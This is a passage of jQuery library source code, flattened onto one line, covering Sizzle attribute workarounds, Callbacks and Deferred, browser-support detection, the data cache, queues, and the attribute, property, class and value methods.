http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx if ( !assert(function( div ) { div.innerHTML = "<a href='#'></a>"; return div.firstChild.getAttribute("href") === "#" ; }) ) { addHandle( "type|href|height|width", function( elem, name, isXML ) { if ( !isXML ) { return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 ); } }); } // Support: IE<9 // Use defaultValue in place of getAttribute("value") if ( !support.attributes || !assert(function( div ) { div.innerHTML = "<input/>"; div.firstChild.setAttribute( "value", "" ); return div.firstChild.getAttribute( "value" ) === ""; }) ) { addHandle( "value", function( elem, name, isXML ) { if ( !isXML && elem.nodeName.toLowerCase() === "input" ) { return elem.defaultValue; } }); } // Support: IE<9 // Use getAttributeNode to fetch booleans when getAttribute lies if ( !assert(function( div ) { return div.getAttribute("disabled") == null; }) ) { addHandle( booleans, function( elem, name, isXML ) { var val; if ( !isXML ) { return (val = elem.getAttributeNode( name )) && val.specified ? val.value : elem[ name ] === true ? name.toLowerCase() : null; } }); } jQuery.find = Sizzle; jQuery.expr = Sizzle.selectors; jQuery.expr[":"] = jQuery.expr.pseudos; jQuery.unique = Sizzle.uniqueSort; jQuery.text = Sizzle.getText; jQuery.isXMLDoc = Sizzle.isXML; jQuery.contains = Sizzle.contains; })( window ); // String to Object options format cache var optionsCache = {}; // Convert String-formatted options into Object-formatted ones and store in cache function createOptions( options ) { var object = optionsCache[ options ] = {}; jQuery.each( options.match( core_rnotwhite ) || [], function( _, flag ) { object[ flag ] = true; }); return object; } /* * Create a callback list using the following parameters: * * options: an optional list of space-separated options that will change how * the callback list behaves or a more traditional option object * * By default a callback list will act like an event callback list and can be * "fired" multiple times. * * Possible options: * * once: will ensure the callback list can only be fired once (like a Deferred) * * memory: will keep track of previous values and will call any callback added * after the list has been fired right away with the latest "memorized" * values (like a Deferred) * * unique: will ensure a callback can only be added once (no duplicate in the list) * * stopOnFalse: interrupt callings when a callback returns false * */ jQuery.Callbacks = function( options ) { // Convert options from String-formatted to Object-formatted if needed // (we check in cache first) options = typeof options === "string" ? ( optionsCache[ options ] || createOptions( options ) ) : jQuery.extend( {}, options ); var // Last fire value (for non-forgettable lists) memory, // Flag to know if list was already fired fired, // Flag to know if list is currently firing firing, // First callback to fire (used internally by add and fireWith) firingStart, // End of the loop when firing firingLength, // Index of currently firing callback (modified by remove if needed) firingIndex, // Actual callback list list = [], // Stack of fire calls for repeatable lists stack = !options.once && [], // Fire callbacks fire = function( data ) { memory = options.memory && data; fired = true; firingIndex = firingStart || 0; firingStart = 0; firingLength = list.length; firing = true; for ( ; list && firingIndex < firingLength; firingIndex++ ) { if ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) { memory = false; // To prevent further calls using add break; } } firing = false; if ( list ) { if ( stack ) { if ( stack.length ) { fire( stack.shift() ); } } else if ( memory ) { list = []; } else { self.disable(); } } }, // Actual Callbacks object self = { // Add a callback or a collection of callbacks to the list add: function() { if ( list ) { // First, we save the current length var start = list.length; (function add( args ) { jQuery.each( args, function( _, arg ) { var type = jQuery.type( arg ); if ( type === "function" ) { if ( !options.unique || !self.has( arg ) ) { list.push( arg ); } } else if ( arg && arg.length && type !== "string" ) { // Inspect recursively add( arg ); } }); })( arguments ); // Do we need to add the callbacks to the // current firing batch? if ( firing ) { firingLength = list.length; // With memory, if we're not firing then // we should call right away } else if ( memory ) { firingStart = start; fire( memory ); } } return this; }, // Remove a callback from the list remove: function() { if ( list ) { jQuery.each( arguments, function( _, arg ) { var index; while( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { list.splice( index, 1 ); // Handle firing indexes if ( firing ) { if ( index <= firingLength ) { firingLength--; } if ( index <= firingIndex ) { firingIndex--; } } } }); } return this; }, // Check if a given callback is in the list. // If no argument is given, return whether or not list has callbacks attached. has: function( fn ) { return fn ? jQuery.inArray( fn, list ) > -1 : !!( list && list.length ); }, // Remove all callbacks from the list empty: function() { list = []; firingLength = 0; return this; }, // Have the list do nothing anymore disable: function() { list = stack = memory = undefined; return this; }, // Is it disabled? disabled: function() { return !list; }, // Lock the list in its current state lock: function() { stack = undefined; if ( !memory ) { self.disable(); } return this; }, // Is it locked? locked: function() { return !stack; }, // Call all callbacks with the given context and arguments fireWith: function( context, args ) { if ( list && ( !fired || stack ) ) { args = args || []; args = [ context, args.slice ? args.slice() : args ]; if ( firing ) { stack.push( args ); } else { fire( args ); } } return this; }, // Call all the callbacks with the given arguments fire: function() { self.fireWith( this, arguments ); return this; }, // To know if the callbacks have already been called at least once fired: function() { return !!fired; } }; return self; }; jQuery.extend({ Deferred: function( func ) { var tuples = [ // action, add listener, listener list, final state [ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ], [ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ], [ "notify", "progress", jQuery.Callbacks("memory") ] ], state = "pending", promise = { state: function() { return state; }, always: function() { deferred.done( arguments ).fail( arguments ); return this; }, then: function( /* fnDone, fnFail, fnProgress */ ) { var fns = arguments; return jQuery.Deferred(function( newDefer ) { jQuery.each( tuples, function( i, tuple ) { var action = tuple[ 0 ], fn = jQuery.isFunction( fns[ i ] ) && fns[ i ]; // deferred[ done | fail | progress ] for forwarding actions to newDefer deferred[ tuple[1] ](function() { var returned = fn && fn.apply( this, arguments ); if ( returned && jQuery.isFunction( returned.promise ) ) { returned.promise() .done( newDefer.resolve ) .fail( newDefer.reject ) .progress( newDefer.notify ); } else { newDefer[ action + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); } }); }); fns = null; }).promise(); }, // Get a promise for this deferred // If obj is provided, the promise aspect is added to the object promise: function( obj ) { return obj != null ? jQuery.extend( obj, promise ) : promise; } }, deferred = {}; // Keep pipe for back-compat promise.pipe = promise.then; // Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 3 ]; // promise[ done | fail | progress ] = list.add promise[ tuple[1] ] = list.add; // Handle state if ( stateString ) { list.add(function() { // state = [ resolved | rejected ] state = stateString; // [ reject_list | resolve_list ].disable; progress_list.lock }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock ); } // deferred[ resolve | reject | notify ] deferred[ tuple[0] ] = function() { deferred[ tuple[0] + "With" ]( this === deferred ? promise : this, arguments ); return this; }; deferred[ tuple[0] + "With" ] = list.fireWith; }); // Make the deferred a promise promise.promise( deferred ); // Call given func if any if ( func ) { func.call( deferred, deferred ); } // All done! return deferred; }, // Deferred helper when: function( subordinate /* , ..., subordinateN */ ) { var i = 0, resolveValues = core_slice.call( arguments ), length = resolveValues.length, // the count of uncompleted subordinates remaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0, // the master Deferred. If resolveValues consist of only a single Deferred, just use that. deferred = remaining === 1 ? subordinate : jQuery.Deferred(), // Update function for both resolve and progress values updateFunc = function( i, contexts, values ) { return function( value ) { contexts[ i ] = this; values[ i ] = arguments.length > 1 ? core_slice.call( arguments ) : value; if( values === progressValues ) { deferred.notifyWith( contexts, values ); } else if ( !( --remaining ) ) { deferred.resolveWith( contexts, values ); } }; }, progressValues, progressContexts, resolveContexts; // add listeners to Deferred subordinates; treat others as resolved if ( length > 1 ) { progressValues = new Array( length ); progressContexts = new Array( length ); resolveContexts = new Array( length ); for ( ; i < length; i++ ) { if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) { resolveValues[ i ].promise() .done( updateFunc( i, resolveContexts, resolveValues ) ) .fail( deferred.reject ) .progress( updateFunc( i, progressContexts, progressValues ) ); } else { --remaining; } } } // if we're not waiting on anything, resolve the master if ( !remaining ) { deferred.resolveWith( resolveContexts, resolveValues ); } return deferred.promise(); } }); jQuery.support = (function( support ) { var input = document.createElement("input"), fragment = document.createDocumentFragment(), div = document.createElement("div"), select = document.createElement("select"), opt = select.appendChild( document.createElement("option") ); // Finish early in limited environments if ( !input.type ) { return support; } input.type = "checkbox"; // Support: Safari 5.1, iOS 5.1, Android 4.x, Android 2.3 // Check the default checkbox/radio value ("" on old WebKit; "on" elsewhere) support.checkOn = input.value !== ""; // Must access the parent to make an option select properly // Support: IE9, IE10 support.optSelected = opt.selected; // Will be defined later support.reliableMarginRight = true; support.boxSizingReliable = true; support.pixelPosition = false; // Make sure checked status is properly cloned // Support: IE9, IE10 input.checked = true; support.noCloneChecked = input.cloneNode( true ).checked; // Make sure that the options inside disabled selects aren't marked as disabled // (WebKit marks them as disabled) select.disabled = true; support.optDisabled = !opt.disabled; // Check if an input maintains its value after becoming a radio // Support: IE9, IE10 input = document.createElement("input"); input.value = "t"; input.type = "radio"; support.radioValue = input.value === "t"; // #11217 - WebKit loses check when the name is after the checked attribute input.setAttribute( "checked", "t" ); input.setAttribute( "name", "t" ); fragment.appendChild( input ); // Support: Safari 5.1, Android 4.x, Android 2.3 // old WebKit doesn't clone checked state correctly in fragments support.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked; // Support: Firefox, Chrome, Safari // Beware of CSP restrictions (https://developer.mozilla.org/en/Security/CSP) support.focusinBubbles = "onfocusin" in window; div.style.backgroundClip = "content-box"; div.cloneNode( true ).style.backgroundClip = ""; support.clearCloneStyle = div.style.backgroundClip === "content-box"; // Run tests that need a body at doc ready jQuery(function() { var container, marginDiv, // Support: Firefox, Android 2.3 (Prefixed box-sizing versions). divReset = "padding:0;margin:0;border:0;display:block;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box", body = document.getElementsByTagName("body")[ 0 ]; if ( !body ) { // Return for frameset docs that don't have a body return; } container = document.createElement("div"); container.style.cssText = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px"; // Check box-sizing and margin behavior. body.appendChild( container ).appendChild( div ); div.innerHTML = ""; // Support: Firefox, Android 2.3 (Prefixed box-sizing versions). div.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%"; // Workaround failing boxSizing test due to offsetWidth returning wrong value // with some non-1 values of body zoom, ticket #13543 jQuery.swap( body, body.style.zoom != null ? { zoom: 1 } : {}, function() { support.boxSizing = div.offsetWidth === 4; }); // Use window.getComputedStyle because jsdom on node.js will break without it. if ( window.getComputedStyle ) { support.pixelPosition = ( window.getComputedStyle( div, null ) || {} ).top !== "1%"; support.boxSizingReliable = ( window.getComputedStyle( div, null ) || { width: "4px" } ).width === "4px"; // Support: Android 2.3 // Check if div with explicit width and no margin-right incorrectly // gets computed margin-right based on width of container. (#3333) // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right marginDiv = div.appendChild( document.createElement("div") ); marginDiv.style.cssText = div.style.cssText = divReset; marginDiv.style.marginRight = marginDiv.style.width = "0"; div.style.width = "1px"; support.reliableMarginRight = !parseFloat( ( window.getComputedStyle( marginDiv, null ) || {} ).marginRight ); } body.removeChild( container ); }); return support; })( {} ); /* Implementation Summary 1. Enforce API surface and semantic compatibility with 1.9.x branch 2. Improve the module's maintainability by reducing the storage paths to a single mechanism. 3. Use the same single mechanism to support "private" and "user" data. 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData) 5. Avoid exposing implementation details on user objects (eg. expando properties) 6. Provide a clear path for implementation upgrade to WeakMap in 2014 */ var data_user, data_priv, rbrace = /(?:\{[\s\S]*\}|\[[\s\S]*\])$/, rmultiDash = /([A-Z])/g; function Data() { // Support: Android < 4, // Old WebKit does not have Object.preventExtensions/freeze method, // return new empty object instead with no [[set]] accessor Object.defineProperty( this.cache = {}, 0, { get: function() { return {}; } }); this.expando = jQuery.expando + Math.random(); } Data.uid = 1; Data.accepts = function( owner ) { // Accepts only: // - Node // - Node.ELEMENT_NODE // - Node.DOCUMENT_NODE // - Object // - Any return owner.nodeType ? owner.nodeType === 1 || owner.nodeType === 9 : true; }; Data.prototype = { key: function( owner ) { // We can accept data for non-element nodes in modern browsers, // but we should not, see #8335. // Always return the key for a frozen object. if ( !Data.accepts( owner ) ) { return 0; } var descriptor = {}, // Check if the owner object already has a cache key unlock = owner[ this.expando ]; // If not, create one if ( !unlock ) { unlock = Data.uid++; // Secure it in a non-enumerable, non-writable property try { descriptor[ this.expando ] = { value: unlock }; Object.defineProperties( owner, descriptor ); // Support: Android < 4 // Fallback to a less secure definition } catch ( e ) { descriptor[ this.expando ] = unlock; jQuery.extend( owner, descriptor ); } } // Ensure the cache object if ( !this.cache[ unlock ] ) { this.cache[ unlock ] = {}; } return unlock; }, set: function( owner, data, value ) { var prop, // There may be an unlock assigned to this node, // if there is no entry for this "owner", create one inline // and set the unlock as though an owner entry had always existed unlock = this.key( owner ), cache = this.cache[ unlock ]; // Handle: [ owner, key, value ] args if ( typeof data === "string" ) { cache[ data ] = value; // Handle: [ owner, { properties } ] args } else { // Fresh assignments by object are shallow copied if ( jQuery.isEmptyObject( cache ) ) { jQuery.extend( this.cache[ unlock ], data ); // Otherwise, copy the properties one-by-one to the cache object } else { for ( prop in data ) { cache[ prop ] = data[ prop ]; } } } return cache; }, get: function( owner, key ) { // Either a valid cache is found, or will be created. // New caches will be created and the unlock returned, // allowing direct access to the newly created // empty data object. A valid owner object must be provided. var cache = this.cache[ this.key( owner ) ]; return key === undefined ? cache : cache[ key ]; }, access: function( owner, key, value ) { var stored; // In cases where either: // // 1. No key was specified // 2. A string key was specified, but no value provided // // Take the "read" path and allow the get method to determine // which value to return, respectively either: // // 1. The entire cache object // 2. The data stored at the key // if ( key === undefined || ((key && typeof key === "string") && value === undefined) ) { stored = this.get( owner, key ); return stored !== undefined ? stored : this.get( owner, jQuery.camelCase(key) ); } // [*]When the key is not a string, or both a key and value // are specified, set or extend (existing objects) with either: // // 1. An object of properties // 2. A key and value // this.set( owner, key, value ); // Since the "set" path can have two possible entry points // return the expected data based on which path was taken[*] return value !== undefined ? value : key; }, remove: function( owner, key ) { var i, name, camel, unlock = this.key( owner ), cache = this.cache[ unlock ]; if ( key === undefined ) { this.cache[ unlock ] = {}; } else { // Support array or space separated string of keys if ( jQuery.isArray( key ) ) { // If "name" is an array of keys... // When data is initially created, via ("key", "val") signature, // keys will be converted to camelCase. // Since there is no way to tell _how_ a key was added, remove // both plain key and camelCase key. #12786 // This will only penalize the array argument path. name = key.concat( key.map( jQuery.camelCase ) ); } else { camel = jQuery.camelCase( key ); // Try the string as a key before any manipulation if ( key in cache ) { name = [ key, camel ]; } else { // If a key with the spaces exists, use it. // Otherwise, create an array by matching non-whitespace name = camel; name = name in cache ? [ name ] : ( name.match( core_rnotwhite ) || [] ); } } i = name.length; while ( i-- ) { delete cache[ name[ i ] ]; } } }, hasData: function( owner ) { return !jQuery.isEmptyObject( this.cache[ owner[ this.expando ] ] || {} ); }, discard: function( owner ) { if ( owner[ this.expando ] ) { delete this.cache[ owner[ this.expando ] ]; } } }; // These may be used throughout the jQuery core codebase data_user = new Data(); data_priv = new Data(); jQuery.extend({ acceptData: Data.accepts, hasData: function( elem ) { return data_user.hasData( elem ) || data_priv.hasData( elem ); }, data: function( elem, name, data ) { return data_user.access( elem, name, data ); }, removeData: function( elem, name ) { data_user.remove( elem, name ); }, // TODO: Now that all calls to _data and _removeData have been replaced // with direct calls to data_priv methods, these can be deprecated. _data: function( elem, name, data ) { return data_priv.access( elem, name, data ); }, _removeData: function( elem, name ) { data_priv.remove( elem, name ); } }); jQuery.fn.extend({ data: function( key, value ) { var attrs, name, elem = this[ 0 ], i = 0, data = null; // Gets all values if ( key === undefined ) { if ( this.length ) { data = data_user.get( elem ); if ( elem.nodeType === 1 && !data_priv.get( elem, "hasDataAttrs" ) ) { attrs = elem.attributes; for ( ; i < attrs.length; i++ ) { name = attrs[ i ].name; if ( name.indexOf( "data-" ) === 0 ) { name = jQuery.camelCase( name.slice(5) ); dataAttr( elem, name, data[ name ] ); } } data_priv.set( elem, "hasDataAttrs", true ); } } return data; } // Sets multiple values if ( typeof key === "object" ) { return this.each(function() { data_user.set( this, key ); }); } return jQuery.access( this, function( value ) { var data, camelKey = jQuery.camelCase( key ); // The calling jQuery object (element matches) is not empty // (and therefore has an element appears at this[ 0 ]) and the // `value` parameter was not undefined. An empty jQuery object // will result in `undefined` for elem = this[ 0 ] which will // throw an exception if an attempt to read a data cache is made. if ( elem && value === undefined ) { // Attempt to get data from the cache // with the key as-is data = data_user.get( elem, key ); if ( data !== undefined ) { return data; } // Attempt to get data from the cache // with the key camelized data = data_user.get( elem, camelKey ); if ( data !== undefined ) { return data; } // Attempt to "discover" the data in // HTML5 custom data-* attrs data = dataAttr( elem, camelKey, undefined ); if ( data !== undefined ) { return data; } // We tried really hard, but the data doesn't exist. return; } // Set the data... this.each(function() { // First, attempt to store a copy or reference of any // data that might've been store with a camelCased key. var data = data_user.get( this, camelKey ); // For HTML5 data-* attribute interop, we have to // store property names with dashes in a camelCase form. // This might not apply to all properties...* data_user.set( this, camelKey, value ); // *... In the case of properties that might _actually_ // have dashes, we need to also store a copy of that // unchanged property. if ( key.indexOf("-") !== -1 && data !== undefined ) { data_user.set( this, key, value ); } }); }, null, value, arguments.length > 1, null, true ); }, removeData: function( key ) { return this.each(function() { data_user.remove( this, key ); }); } }); function dataAttr( elem, key, data ) { var name; // If nothing was found internally, try to fetch any // data from the HTML5 data-* attribute if ( data === undefined && elem.nodeType === 1 ) { name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase(); data = elem.getAttribute( name ); if ( typeof data === "string" ) { try { data = data === "true" ? true : data === "false" ? false : data === "null" ? null : // Only convert to a number if it doesn't change the string +data + "" === data ? +data : rbrace.test( data ) ? JSON.parse( data ) : data; } catch( e ) {} // Make sure we set the data so it isn't changed later data_user.set( elem, key, data ); } else { data = undefined; } } return data; } jQuery.extend({ queue: function( elem, type, data ) { var queue; if ( elem ) { type = ( type || "fx" ) + "queue"; queue = data_priv.get( elem, type ); // Speed up dequeue by getting out quickly if this is just a lookup if ( data ) { if ( !queue || jQuery.isArray( data ) ) { queue = data_priv.access( elem, type, jQuery.makeArray(data) ); } else { queue.push( data ); } } return queue || []; } }, dequeue: function( elem, type ) { type = type || "fx"; var queue = jQuery.queue( elem, type ), startLength = queue.length, fn = queue.shift(), hooks = jQuery._queueHooks( elem, type ), next = function() { jQuery.dequeue( elem, type ); }; // If the fx queue is dequeued, always remove the progress sentinel if ( fn === "inprogress" ) { fn = queue.shift(); startLength--; } if ( fn ) { // Add a progress sentinel to prevent the fx queue from being // automatically dequeued if ( type === "fx" ) { queue.unshift( "inprogress" ); } // clear up the last queue stop function delete hooks.stop; fn.call( elem, next, hooks ); } if ( !startLength && hooks ) { hooks.empty.fire(); } }, // not intended for public consumption - generates a queueHooks object, or returns the current one _queueHooks: function( elem, type ) { var key = type + "queueHooks"; return data_priv.get( elem, key ) || data_priv.access( elem, key, { empty: jQuery.Callbacks("once memory").add(function() { data_priv.remove( elem, [ type + "queue", key ] ); }) }); } }); jQuery.fn.extend({ queue: function( type, data ) { var setter = 2; if ( typeof type !== "string" ) { data = type; type = "fx"; setter--; } if ( arguments.length < setter ) { return jQuery.queue( this[0], type ); } return data === undefined ? this : this.each(function() { var queue = jQuery.queue( this, type, data ); // ensure a hooks for this queue jQuery._queueHooks( this, type ); if ( type === "fx" && queue[0] !== "inprogress" ) { jQuery.dequeue( this, type ); } }); }, dequeue: function( type ) { return this.each(function() { jQuery.dequeue( this, type ); }); }, // Based off of the plugin by Clint Helfers, with permission. // http://blindsignals.com/index.php/2009/07/jquery-delay/ delay: function( time, type ) { time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; type = type || "fx"; return this.queue( type, function( next, hooks ) { var timeout = setTimeout( next, time ); hooks.stop = function() { clearTimeout( timeout ); }; }); }, clearQueue: function( type ) { return this.queue( type || "fx", [] ); }, // Get a promise resolved when queues of a certain type // are emptied (fx is the type by default) promise: function( type, obj ) { var tmp, count = 1, defer = jQuery.Deferred(), elements = this, i = this.length, resolve = function() { if ( !( --count ) ) { defer.resolveWith( elements, [ elements ] ); } }; if ( typeof type !== "string" ) { obj = type; type = undefined; } type = type || "fx"; while( i-- ) { tmp = data_priv.get( elements[ i ], type + "queueHooks" ); if ( tmp && tmp.empty ) { count++; tmp.empty.add( resolve ); } } resolve(); return defer.promise( obj ); } }); var nodeHook, boolHook, rclass = /[\t\r\n\f]/g, rreturn = /\r/g, rfocusable = /^(?:input|select|textarea|button)$/i; jQuery.fn.extend({ attr: function( name, value ) { return jQuery.access( this, jQuery.attr, name, value, arguments.length > 1 ); }, removeAttr: function( name ) { return this.each(function() { jQuery.removeAttr( this, name ); }); }, prop: function( name, value ) { return jQuery.access( this, jQuery.prop, name, value, arguments.length > 1 ); }, removeProp: function( name ) { return this.each(function() { delete this[ jQuery.propFix[ name ] || name ]; }); }, addClass: function( value ) { var classes, elem, cur, clazz, j, i = 0, len = this.length, proceed = typeof value === "string" && value; if ( jQuery.isFunction( value ) ) { return this.each(function( j ) { jQuery( this ).addClass( value.call( this, j, this.className ) ); }); } if ( proceed ) { // The disjunction here is for better compressibility (see removeClass) classes = ( value || "" ).match( core_rnotwhite ) || []; for ( ; i < len; i++ ) { elem = this[ i ]; cur = elem.nodeType === 1 && ( elem.className ? ( " " + elem.className + " " ).replace( rclass, " " ) : " " ); if ( cur ) { j = 0; while ( (clazz = classes[j++]) ) { if ( cur.indexOf( " " + clazz + " " ) < 0 ) { cur += clazz + " "; } } elem.className = jQuery.trim( cur ); } } } return this; }, removeClass: function( value ) { var classes, elem, cur, clazz, j, i = 0, len = this.length, proceed = arguments.length === 0 || typeof value === "string" && value; if ( jQuery.isFunction( value ) ) { return this.each(function( j ) { jQuery( this ).removeClass( value.call( this, j, this.className ) ); }); } if ( proceed ) { classes = ( value || "" ).match( core_rnotwhite ) || []; for ( ; i < len; i++ ) { elem = this[ i ]; // This expression is here for better compressibility (see addClass) cur = elem.nodeType === 1 && ( elem.className ? ( " " + elem.className + " " ).replace( rclass, " " ) : "" ); if ( cur ) { j = 0; while ( (clazz = classes[j++]) ) { // Remove *all* instances while ( cur.indexOf( " " + clazz + " " ) >= 0 ) { cur = cur.replace( " " + clazz + " ", " " ); } } elem.className = value ? jQuery.trim( cur ) : ""; } } } return this; }, toggleClass: function( value, stateVal ) { var type = typeof value; if ( typeof stateVal === "boolean" && type === "string" ) { return stateVal ? this.addClass( value ) : this.removeClass( value ); } if ( jQuery.isFunction( value ) ) { return this.each(function( i ) { jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal ); }); } return this.each(function() { if ( type === "string" ) { // toggle individual class names var className, i = 0, self = jQuery( this ), classNames = value.match( core_rnotwhite ) || []; while ( (className = classNames[ i++ ]) ) { // check each className given, space separated list if ( self.hasClass( className ) ) { self.removeClass( className ); } else { self.addClass( className ); } } // Toggle whole class name } else if ( type === core_strundefined || type === "boolean" ) { if ( this.className ) { // store className if set data_priv.set( this, "__className__", this.className ); } // If the element has a class name or if we're passed "false", // then remove the whole classname (if there was one, the above saved it). // Otherwise bring back whatever was previously saved (if anything), // falling back to the empty string if nothing was stored. this.className = this.className || value === false ? "" : data_priv.get( this, "__className__" ) || ""; } }); }, hasClass: function( selector ) { var className = " " + selector + " ", i = 0, l = this.length; for ( ; i < l; i++ ) { if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) >= 0 ) { return true; } } return false; }, val: function( value ) { var hooks, ret, isFunction, elem = this[0]; if ( !arguments.length ) { if ( elem ) { hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ]; if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) { return ret; } ret = elem.value; return typeof ret === "string" ? // handle most common string cases ret.replace(rreturn, "") : // handle cases where value is null/undef or number ret == null ? "" : ret; } return; } isFunction = jQuery.isFunction( value ); return this.each(function( i ) { var val; if ( this.nodeType !== 1 ) { return; } if ( isFunction ) { val = value.call( this, i, jQuery( this ).val() ); } else { val = value; } // Treat null/undefined as ""; convert numbers to string if ( val == null ) { val = ""; } else if ( typeof val === "number" ) { val += ""; } else if ( jQuery.isArray( val ) ) { val = jQuery.map(val, function ( value ) { return value == null ? "" : value + ""; }); } hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; // If set returns undefined, fall back to normal setting if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) { this.value = val; } }); } }); jQuery.extend({ valHooks: { option: { get: function( elem ) { // attributes.value is undefined in Blackberry 4.7 but // uses .value. See #6932 var val = elem.attributes.value; return !val || val.specified ? elem.value : elem.text; } }, select: { get: function( elem ) { var value, option, options = elem.options, index = elem.selectedIndex, one = elem.type === "select-one" || index < 0, values = one ? null : [], max = one ? index + 1 : options.length, i = index < 0 ? max : one ? index : 0; // Loop through all the selected options for ( ; i < max; i++ ) { option = options[ i ]; // IE6-9 doesn't update selected after form reset (#2551) if ( ( option.selected || i === index ) && // Don't return options that are disabled or in a disabled optgroup ( jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null ) && ( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) { // Get the specific value for the option value = jQuery( option ).val(); // We don't need an array for one selects if ( one ) { return value; } // Multi-Selects return an array values.push( value ); } } return values; }, set: function( elem, value ) { var optionSet, option, options = elem.options, values = jQuery.makeArray( value ), i = options.length; while ( i-- ) { option = options[ i ]; if ( (option.selected = jQuery.inArray( jQuery(option).val(), values ) >= 0) ) { optionSet = true; } } // force browsers to behave consistently when non-matching value is set if ( !optionSet ) { elem.selectedIndex = -1; } return values; } } }, attr: function( elem, name, value ) { var hooks, ret, nType = elem.nodeType; // don't get/set attributes on text, comment and attribute nodes if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { return; } // Fallback to prop when attributes are not supported if ( typeof elem.getAttribute === core_strundefined ) { return jQuery.prop( elem, name, value ); } // All attributes are lowercase // Grab necessary hook if one is defined if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { name = name.toLowerCase(); hooks = jQuery.attrHooks[ name ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : nodeHook ); } if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); } else if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) { return ret; } else { elem.setAttribute( name, value + "" ); return value; } } else if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) { return ret; } else { ret = jQuery.find.attr( elem, name ); // Non-existent attributes return null, we normalize to undefined return ret == null ? undefined : ret; } }, removeAttr: function( elem, value ) { var name, propName, i = 0, attrNames = value && value.match( core_rnotwhite ); if ( attrNames && elem.nodeType === 1 ) { while ( (name = attrNames[i++]) ) { propName = jQuery.propFix[ name ] || name; // Boolean attributes get special treatment (#10870) if ( jQuery.expr.match.bool.test( name ) ) { // Set corresponding property to false elem[ propName ] = false; } elem.removeAttribute( name ); } } }, attrHooks: { type: { set: function( elem, value ) { if ( !jQuery.support.radioValue && value === "radio" && jQuery.nodeName(elem, "input") ) { // Setting the type on a radio button after the value resets the value in IE6-9 // Reset value to default in case type is set after value during creation var val = elem.value; elem.setAttribute( "type", value ); if ( val ) { elem.value = val; } return value; } } } }, propFix: { "for": "htmlFor", "class": "className" }, prop: function( elem, name, value ) { var ret, hooks, notxml, nType = elem.nodeType; // don't get/set properties on text, comment and attribute nodes if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { return; } notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); if ( notxml ) { // Fix name and attach hooks name = jQuery.propFix[ name ] || name; hooks = jQuery.propHooks[ name ]; } if ( value !== undefined ) { return hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ? ret : ( elem[ name ] = value ); } else { return hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ? ret : elem[ name ]; } }, propHooks: { tabIndex: { get: function( elem ) { return elem.hasAttribute( "tabindex" ) || rfocusable.test( elem.nodeName ) || elem.href ? elem.tabIndex : -1; } } } }); // Hooks for boolean attributes boolHook = { set: function( elem, value, name ) { if ( value === false ) { // Remove boolean attributes when set to false jQuery.removeAttr( elem, name ); } else { elem.setAttribute( name, name ); } return name; } }; jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) { var getter = jQuery.expr.attrHandle[ name ] || jQuery.find.attr; jQuery.expr.attrHandle[ name ] = function( elem, name, isXML ) { var fn = jQuery.expr.attrHandle[ name ], ret = isXML ? undefined : /* jshint eqeqeq: false */ // Temporarily disable this handler to check existence (jQuery.expr.attrHandle[ name ] = undefined) != getter( elem, name, isXML ) ? name.toLowerCase() : null; // Restore handler jQuery.expr.attrHandle[ name ] = fn; return ret; }; }); // Support: IE9+ // Selectedness for an option in an optgroup can be inaccurate if ( !jQuery.support.optSelected ) { jQuery.propHooks.selected = { get: function( elem ) { var parent = elem.parentNode; if ( parent && parent.parentNode ) { parent.parentNode.selectedIndex; } return null; } }; } jQuery.each([ "tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable" ], function() { jQuery.propFix[ this.toLowerCase() ] = this; }); // Radios and checkboxes getter/setter jQuery.each([ "radio", "checkbox" ], function() { jQuery.valHooks[ this ] = { set: function( elem, value ) { if ( jQuery.isArray( value ) ) { return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 ); } } }; if ( !jQuery.support.checkOn ) { jQuery.valHooks[ this ].get = function( elem ) { // Support: Webkit // "" is returned instead of "on" if a value isn't specified return elem.getAttribute("value") === null ? "on" : elem.value; }; } }); var rkeyEvent = /^key/, rmouseEvent = 